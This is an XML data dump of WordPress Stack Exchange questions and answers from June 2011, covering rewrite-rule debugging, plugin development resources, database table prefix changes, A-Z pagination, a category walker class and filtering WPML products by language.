  <row Id="19655" PostTypeId="2" ParentId="19636" CreationDate="2011-06-10T02:42:41.343" Score="0" ViewCount="" Body="&lt;p&gt;Try using Zend Server Community Edition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zend.com/en/products/server-ce/&quot; rel=&quot;nofollow&quot;&gt;http://www.zend.com/en/products/server-ce/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4474" LastActivityDate="2011-06-10T02:42:41.343" />
  <row Id="19656" PostTypeId="2" ParentId="19654" CreationDate="2011-06-10T03:31:54.753" Score="2" ViewCount="" Body="&lt;p&gt;Look for this in the code where you registered the lyrics post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'has_archive' =&amp;gt; true,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;'has_archive' =&amp;gt; false&lt;/code&gt;.  That won't work right away, however.  So you need to go in an &quot;refresh&quot; your permalinks.  Just go to the permalinks options page, and hit the save button.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-10T03:31:54.753" CommentCount="2" />
  <row Id="19657" PostTypeId="2" ParentId="19649" CreationDate="2011-06-10T04:02:11.567" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a WordPress problem. You need to refer to the documentation for the LAMP server to check the setup options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For localhost, you can bypass plugin installation from WordPress and simply copy your plugins into /wp-content/plugins. After you copy them in, go to your WordPress administration and they will show up in your plugins ready to be activated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you unzip the plugins and keep them in their folders. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-10T04:02:11.567" />
  <row Id="19658" PostTypeId="2" ParentId="19634" CreationDate="2011-06-10T04:09:10.100" Score="1" ViewCount="" Body="&lt;p&gt;Try the Search and Replace plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-and-replace/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This searches for strings and will allow you to search for every instance of video-x-player, using a regex for the number. If you don't want to use regex searching on video- will bring up every instance that is already in your database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you intend to keep using that video plugin you may wish to edit the plugin to give you the ID's you want or to automatically add class names. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="2761" LastEditorDisplayName="" LastEditDate="2011-06-10T12:36:48.067" LastActivityDate="2011-06-10T12:36:48.067" CommentCount="3" />
  <row Id="19659" PostTypeId="1" AcceptedAnswerId="19661" CreationDate="2011-06-10T04:57:54.230" Score="0" ViewCount="56" Body="&lt;p&gt;After much research, I think I can wrap my brain around WP's rewrite system.  I would like to know, though, how to properly test rewrite rules to see if the right rule/tags is being used and the right query vars are being passed.  Is there a way to create a temporary template that supersedes everything in a theme whose sole purpose is to spit out current query_vars?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-06-10T05:34:05.113" Title="How to test custom rewrite rules /permalinks?" Tags="&lt;permalinks&gt;&lt;rewrite-rules&gt;&lt;rewrite-tag&gt;" AnswerCount="1" />
  <row Id="19660" PostTypeId="1" AcceptedAnswerId="19663" CreationDate="2011-06-10T05:25:45.850" Score="3" ViewCount="65" Body="&lt;p&gt;I would like to learn how to create a plugin from scratch, there are tons of tutorials out there on the internet, but they are either premium or not a reliable resource. would like to know which are the best resources available on the internet.&lt;/p&gt;&#xA;" OwnerUserId="5985" LastActivityDate="2011-06-10T05:46:08.547" Title="WordPress Plugin Development from Scratch. How?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="19661" PostTypeId="2" ParentId="19659" CreationDate="2011-06-10T05:34:05.113" Score="1" ViewCount="" Body="&lt;p&gt;Check out my favorite &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;Rewrite Analyzer&lt;/a&gt; plugin written by @Jan Fabry. It allows you to analyze your rewrite rules and really helps in debugging those rules.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T05:34:05.113" />
  <row Id="19662" PostTypeId="2" ParentId="19660" CreationDate="2011-06-10T05:42:00.803" Score="1" ViewCount="" Body="&lt;p&gt;I guess &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development&quot;&gt;this thread&lt;/a&gt; says nearly all&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-10T05:42:00.803" />
  <row Id="19663" PostTypeId="2" ParentId="19660" CreationDate="2011-06-10T05:46:08.547" Score="2" ViewCount="" Body="&lt;p&gt;A very first advice from me will be: Don't follow the tutorials on the tutorial sites blindly they are full of bad coding practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the resources that I follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Mark on Wordpress&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tad Lock&lt;/a&gt; (You can also buy the copy of his e-book Professional Wordpress Plugin Development)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/&quot; rel=&quot;nofollow&quot;&gt;Otto on Wordpress&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;scribu's development blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here is the list of Specific tutorials that you should consider going through, some are old but are still valid.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2006/03/04/wp-tutorial-your-first-wp-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2006/03/04/wp-tutorial-your-first-wp-plugin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devlounge.net/extras/how-to-write-a-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.devlounge.net/extras/how-to-write-a-wordpress-plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T05:46:08.547" />
  <row Id="19664" PostTypeId="1" CreationDate="2011-06-10T06:37:46.920" Score="1" ViewCount="51" Body="&lt;p&gt;Is this possible for wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[A] [B] [C]...[X] [Y] [&lt;strong&gt;Z&lt;/strong&gt;]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;......&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;posts with title starting 'z'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;.......&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; 2 3 4 next&gt;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone point me to the right direction on how to achieve this type of pagination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an A-Z pagination which uses the post title as the basis. And for example page &lt;code&gt;Z&lt;/code&gt; has entries greater than 10, make a pagination too.&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-10T09:40:33.890" Title="Nested Pagination" Tags="&lt;pagination&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="19665" PostTypeId="2" ParentId="19471" CreationDate="2011-06-10T06:55:53.670" Score="0" ViewCount="" Body="&lt;p&gt;In dompdf_config.inc.php file there is a line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//define(&quot;DOMPDF_TEMP_DIR&quot;, &quot;/tmp&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I changed this as &lt;code&gt;define(&quot;DOMPDF_TEMP_DIR&quot;, DOMPDF_DIR.&quot;/tmp&quot;);&lt;/code&gt; and created folder tmp within folder dompdf and this worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your concern :)&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-06-10T06:55:53.670" />
  <row Id="19666" PostTypeId="2" ParentId="18694" CreationDate="2011-06-10T06:59:03.323" Score="0" ViewCount="" Body="&lt;p&gt;Here are the required steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In wp-config.php, change&#xA;&lt;code&gt;$table_prefix = ‘wp_’;&lt;/code&gt; to your new&#xA;prefix. E.g. &lt;code&gt;$table_prefix =&#xA;‘mynewprefix_’;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your database file, either via&#xA;text editor or phpmyadmin (the&#xA;latter if you have already performed&#xA;the import), change every table&#xA;prefix... it sounds like you already&#xA;did this before the import (which is&#xA;good, because I don't know the MySQL&#xA;command to change table names once&#xA;they are imported, except maybe via&#xA;MySQL Workbench).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The following database entries need&#xA;to have the prefix changed&#xA;(organized by table):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;(Previously) wp_options&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_user_roles =&amp;gt; mynewprefix_user_roles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;(Previously) wp_usermeta&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_capabilities =&amp;gt; mynewprefix_capabilities [recurring based on no. of users]&#xA;&#xA;wp_user_level  =&amp;gt; mynewprefix_user_level [recurring based on no. of users]&#xA;&#xA;wp_usersettings =&amp;gt; mynewprefix_usersettings&#xA;&#xA;wp_usersettingstime =&amp;gt; mynewprefix_usersettingstime&#xA;&#xA;wp_autosave_draft_ids =&amp;gt; mynewprefix_autosave_draft_ids&#xA;&#xA;wp_metaboxorder_dashboard =&amp;gt; mynewprefix_metaboxorder_dashboard&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; Some plugins and themes may add additional entries/tables that also need to be changed, but you can &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18694/moving-wordpress-from-localhost-to-server-throws-admin-panel-access-error/18763#18763&quot;&gt;run the query&lt;/a&gt; mentioned by Elpie on the entire database to check this.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2011-06-10T06:59:03.323" />
  <row Id="19667" PostTypeId="1" CreationDate="2011-06-10T07:58:11.890" Score="0" ViewCount="167" Body="&lt;p&gt;I´m making a site which uses a couple of categories and several custom taxonomies. A category is for example &quot;portfolio&quot; and in this are posts that belong to one or more taxonomies, like &quot;IKEA&quot; for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make a search function that uses several checkboxes, where you can put in that you would like to show results from &quot;category x and taxonomy a &amp;amp; b&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done? If anyone has some ideas or suggestions (maybe there is a plugin?) to where I can start, I would much appreciate it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m no hard core coder sadly, but I can make sense of most code when I see it and change it to what I need. But this is probably to complicated for me to start from scratch.&lt;/p&gt;&#xA;" OwnerUserId="5079" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-10T14:06:15.893" LastActivityDate="2011-06-10T14:06:15.893" Title="Multi checkbox search (categories and taxonomies)" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;search&gt;" />
  <row Id="19668" PostTypeId="1" CreationDate="2011-06-10T08:11:16.553" Score="0" ViewCount="118" Body="&lt;p&gt;I have installed wordpress on one membership site and found that whenever editor writes post on wordpress and attempts to post it, deletes the half of post randomly. I don't know what could be the problem. I have already did my search within community forums &lt;a href=&quot;http://wordpress.org/support/topic/cant-save-a-post-or-page-with-certain-text&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/support/topic/publishes-only-a-half-post&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. These two threads explain the same problem that i'm having but none of the solutions are working for me. I also tried post revision plugins, sql query (for deletion of revisions), wp-config file modification and everything i could find on google. WP is just on spree of eating half the post no matter what. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution for this ?&lt;/p&gt;&#xA;" OwnerUserId="6071" LastActivityDate="2011-07-26T15:41:03.847" Title="Wordpress Post Deletion Issue" Tags="&lt;posts&gt;&lt;deleted&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="19669" PostTypeId="1" CreationDate="2011-06-10T08:25:39.923" Score="0" ViewCount="32" Body="&lt;p&gt;I am loading some scripts conditionally for the admin section with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin()) {&#xA;    wp_register_style('admin_js', get_bloginfo('template_directory') . '/admin.js');&#xA;    wp_enqueue_script('admin_js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script gets elements with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;theID = document.getElementById('bar').value; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The missing element exists on custom meta boxes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function my_meta() {&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $uniqueInput = $custom[&quot;uniqueInput &quot;][0];&#xA;  ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label for=&quot;foo&quot;&amp;gt;Input:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  &amp;lt;input id=&quot;bar&quot;  name=&quot;bar&quot; value=&quot;&amp;lt;?php echo $uniqueInput; ?&amp;gt;&quot;&amp;gt;&amp;lt;/input&amp;gt;&amp;lt;/p&amp;gt;&#xA; &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am generating the custom meta boxes only in my custom post type :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'customType' , $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to add another condition in the enqueue :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin()) {&#xA;    if(get_post_meta($post-&amp;gt;ID, 'uniqueInput', true)):&#xA;        wp_register_style('admin_js', get_bloginfo('template_directory') . '/admin.js');&#xA;        wp_enqueue_script('admin_js');&#xA;    endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin()) {&#xA;    $foo = get_post_meta($post-&amp;gt;ID, 'uniqueInput', true);&#xA;    if ($foo) {&#xA;       wp_register_style('admin_js', get_bloginfo('template_directory') . '/admin.js');&#xA;       wp_enqueue_script('admin_js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesnt work for me.  The script is suppressed so I no longer get a missing element error... however this condition is never met, the js never loaded.  Now I realize it is because I was making the wrong checks,  looking to see if that input has a value entered, not for the input field itself which is what I need.  What would be the best way to do this check?  Would I look for the custom post type?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-08-09T16:21:34.420" Title="Checking for custom field in admin pages" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-field&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="19670" PostTypeId="2" ParentId="19653" CreationDate="2011-06-10T08:32:42.190" Score="0" ViewCount="" Body="&lt;p&gt;If you make your navigation region widgetized then it is possible. For example make your horizontal nav area widgetized and then drop 'recent post' widget in that area. I have yet to try this so posting this answer as suggestion. By the way you have to work on that widgetized area as well in terms of design for making it to work. &lt;/p&gt;&#xA;" OwnerUserId="6071" LastActivityDate="2011-06-10T08:32:42.190" />
  <row Id="19671" PostTypeId="2" ParentId="19653" CreationDate="2011-06-10T08:38:15.643" Score="3" ViewCount="" Body="&lt;p&gt;you can use a walker like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Walker_Recent_Post_Category extends Walker_Category {&#xA;    function start_el(&amp;amp;$output, $category, $depth, $args) { &#xA;         extract($args); &#xA;&#xA;         $cat_name = esc_attr( $category-&amp;gt;name); &#xA;         $cat_name = apply_filters( 'list_cats', $cat_name, $category ); &#xA;&#xA;         $list_recent_cat_post = '&amp;lt;ul class=&quot;show-hide&quot;&amp;gt;';&#xA;         $args = array( 'numberposts' =&amp;gt; 5, 'category_name' =&amp;gt; $category-&amp;gt;name );&#xA;         $myposts = get_posts( $args );&#xA;         foreach( $myposts as $mypost ) :  &#xA;            $list_recent_cat_post .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink($mypost-&amp;gt;ID) . '&quot;&amp;gt;' . $mypost-&amp;gt;post_title . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;         endforeach; &#xA;         $list_recent_cat_post .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;&#xA;&#xA;         $link = '&amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; '; &#xA;         if ( $use_desc_for_title == 0 || empty($category-&amp;gt;description) ) &#xA;             $link .= 'title=&quot;' . sprintf(__( 'View all posts filed under %s' ), $cat_name) . '&quot;'; &#xA;         else &#xA;             $link .= 'title=&quot;' . esc_attr( strip_tags( apply_filters( 'category_description', $category-&amp;gt;description, $category ) ) ) . '&quot;'; &#xA;         $link .= '&amp;gt;'; &#xA;         $link .= $cat_name . '&amp;lt;/a&amp;gt;'; &#xA;&#xA;         if ( (! empty($feed_image)) || (! empty($feed)) ) { &#xA;             $link .= ' '; &#xA;&#xA;             if ( empty($feed_image) ) &#xA;                 $link .= '('; &#xA;&#xA;             $link .= '&amp;lt;a href=&quot;' . get_category_feed_link($category-&amp;gt;term_id, $feed_type) . '&quot;'; &#xA;&#xA;             if ( empty($feed) ) &#xA;                 $alt = ' alt=&quot;' . sprintf(__( 'Feed for all posts filed under %s' ), $cat_name ) . '&quot;'; &#xA;             else { &#xA;                 $title = ' title=&quot;' . $feed . '&quot;'; &#xA;                 $alt = ' alt=&quot;' . $feed . '&quot;'; &#xA;                 $name = $feed; &#xA;                 $link .= $title; &#xA;             } &#xA;&#xA;             $link .= '&amp;gt;'; &#xA;&#xA;             if ( empty($feed_image) ) &#xA;                 $link .= $name; &#xA;             else &#xA;                 $link .= &quot;&amp;lt;img src='$feed_image'$alt$title&quot; . ' /&amp;gt;'; &#xA;             $link .= '&amp;lt;/a&amp;gt;'; &#xA;             if ( empty($feed_image) ) &#xA;                 $link .= ')'; &#xA;         } &#xA;&#xA;         if ( isset($show_count) &amp;amp;&amp;amp; $show_count ) &#xA;             $link .= ' (' . intval($category-&amp;gt;count) . ')'; &#xA;&#xA;         if ( isset($show_date) &amp;amp;&amp;amp; $show_date ) { &#xA;             $link .= ' ' . gmdate('Y-m-d', $category-&amp;gt;last_update_timestamp); &#xA;         } &#xA;&#xA;&#xA;         $link .= $list_recent_cat_post;&#xA;&#xA;&#xA;         if ( isset($current_category) &amp;amp;&amp;amp; $current_category ) &#xA;             $_current_category = get_category( $current_category ); &#xA;&#xA;         if ( 'list' == $args['style'] ) { &#xA;             $output .= &quot;\t&amp;lt;li&quot;; &#xA;            $class = 'cat-item cat-item-'.$category-&amp;gt;term_id; &#xA;             if ( isset($current_category) &amp;amp;&amp;amp; $current_category &amp;amp;&amp;amp; ($category-&amp;gt;term_id == $current_category) ) &#xA;                 $class .=  ' current-cat'; &#xA;             elseif ( isset($_current_category) &amp;amp;&amp;amp; $_current_category &amp;amp;&amp;amp; ($category-&amp;gt;term_id == $_current_category-&amp;gt;parent) ) &#xA;                 $class .=  ' current-cat-parent'; &#xA;             $output .=  ' class=&quot;'.$class.'&quot;'; &#xA;             $output .= &quot;&amp;gt;$link\n&quot;; &#xA;         } else { &#xA;             $output .= &quot;\t$link\n&quot;; &#xA;         } &#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then call the walker like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;       &amp;lt;?php wp_list_categories(&#xA;                array(&#xA;                    'show_count'=&amp;gt;1,&#xA;                    'title_li'  =&amp;gt;'',&#xA;                    'walker'    =&amp;gt; new Walker_Recent_Post_Category()&#xA;                )&#xA;             ); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will display something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;http://localhost/wordpress/category/my-category/&quot; title=&quot;View all posts filed under my category&quot;&amp;gt;my category&amp;lt;/a&amp;gt; (1)&#xA;        &amp;lt;ul class=&quot;show-hide&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2011/06/twetwetewrwe/&quot;&amp;gt;twetwetewrwe&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;http://localhost/wordpress/category/uncategorized/&quot; title=&quot;View all posts filed under Uncategorized&quot;&amp;gt;Uncategorized&amp;lt;/a&amp;gt; (7)&#xA;        &amp;lt;ul class=&quot;show-hide&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2011/06/5th/&quot;&amp;gt;5th&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2011/06/twtwe/&quot;&amp;gt;twtwe&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2010/08/five-ways-widget-manufacturing-can-be-bungled/&quot;&amp;gt;Lorem Ipsum dolor sin amet&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2010/08/help-me/&quot;&amp;gt;help-me!&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://localhost/wordpress/2010/08/hello-world-2/&quot;&amp;gt;Hello world!&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and some jQuery touches on the html : &lt;a href=&quot;http://jsfiddle.net/reigel/Yfbbx/&quot; rel=&quot;nofollow&quot;&gt;demo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-10T08:38:15.643" CommentCount="4" />
  <row Id="19672" PostTypeId="1" CreationDate="2011-06-10T09:00:16.880" Score="1" ViewCount="99" Body="&lt;p&gt;I'm new to this site but looking at the quality of answers provided here I will be here for a long time :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, first a bit of info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a bilingual website (English &amp;amp; Japanese) using Wordpress and the WPML Multi-lingual CMS. &#xA;The site is for a cafe in Tokyo, Japan. All the products names and descriptions have been written in English and translated into Japanese.  Doing so, using WPML, produces 2 identical products, 1 in English and 1 in Japanese. The slugs are named after the product name, so for example the product &quot;Caramel Cappuccino&quot; has the slug &quot;caramel-cappuccino&quot;. And, the corresponding Japanese version has the slug &quot;caramel-cappuccino-ja&quot;. This is the same for all products in both languages with all the Japanese version products getting -ja at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a template, that was included by the author of the theme, that produces a Menu like you would see in a restaurant.&#xA;The problem is that the menu displays all of the products in both languages regardless of whether English or Japanese has been selected as the language of the site by the user.&#xA;So, if you check the links below, you will see that all the products are displayed twice.&#xA;You can see the current situation here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;English: &lt;a href=&quot;http://www.oasis-radio.net/mobile/wordpress/menu/&quot; rel=&quot;nofollow&quot;&gt;http://www.oasis-radio.net/mobile/wordpress/menu/&lt;/a&gt;&#xA;Japanese: &lt;a href=&quot;http://www.oasis-radio.net/mobile/wordpress/ja/menu-ja/&quot; rel=&quot;nofollow&quot;&gt;http://www.oasis-radio.net/mobile/wordpress/ja/menu-ja/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create some kind of loop, where if the the language selection is English, only the English versions of the products are displayed and likewise, if the language selection is Japanese, only the Japanese versions of the products are displayed.&#xA;I've tried a few different things but can't seem to get anything to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the php code for the template that produces the Menu page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/**&#xA; *&#xA; * A custom page template without sidebar, full width.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Ermark Adora&#xA; *&#xA; */&#xA;&#xA;    get_header();&#xA;&#xA;    echo '&amp;lt;div class=&quot;section clearfix&quot;&amp;gt;';&#xA;        if (get_option('ermad_products_menu_of_the_day', 'false')=='true') {&#xA;            echo '&amp;lt;div class=&quot;menuDescription&quot;&amp;gt;';       &#xA;        }&#xA;&#xA;             if ( have_posts() ) while ( have_posts() ) : the_post(); &#xA;                 if ( is_front_page() ) { &#xA;                    echo '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;'.get_the_title().'&amp;lt;/h2&amp;gt;';&#xA;                 } else { &#xA;                    echo '&amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;'.get_the_title().'&amp;lt;/h1&amp;gt;';&#xA;                 } &#xA;&#xA;                the_content();&#xA;&#xA;                wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'adora' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) );&#xA;&#xA;                edit_post_link( __( 'Edit', 'adora' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' );&#xA;            endwhile;&#xA;&#xA;&#xA;        if (get_option('ermad_products_menu_of_the_day', 'false')=='true') {&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;            echo '&amp;lt;div class=&quot;menuDayOffer&quot;&amp;gt;';&#xA;                echo '&amp;lt;p&amp;gt;'.get_option('ermad_products_menu_description', 'Go to admin panel to edit this description, you must add text for two lines for shure.').'&amp;lt;/p&amp;gt;';&#xA;                loadProductsInOffer();&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;    ?&amp;gt;  &#xA;        &amp;lt;div class=&quot;section hr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;section clearfix&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;wrapper-prices-center&quot; &amp;gt;&#xA;            &amp;lt;div id=&quot;wrapper-prices-bottom&quot; &amp;gt;&#xA;            &amp;lt;div id=&quot;wrapper-prices-top&quot; &amp;gt;&#xA;&#xA;            &amp;lt;?php  loadProductsCateg(); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;          &#xA;            &amp;lt;/div&amp;gt;          &#xA;            &amp;lt;/div&amp;gt;          &#xA;        &amp;lt;/div&amp;gt;          &#xA;&#xA;        &amp;lt;div class=&quot;section hr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="6045" LastEditorUserId="974" LastEditorDisplayName="" LastEditDate="2011-06-10T09:46:56.600" LastActivityDate="2011-08-10T11:21:53.363" Title="How can I filter by slug depending on language selection" Tags="&lt;wp-query&gt;&lt;filters&gt;&lt;multi-language&gt;&lt;slug&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
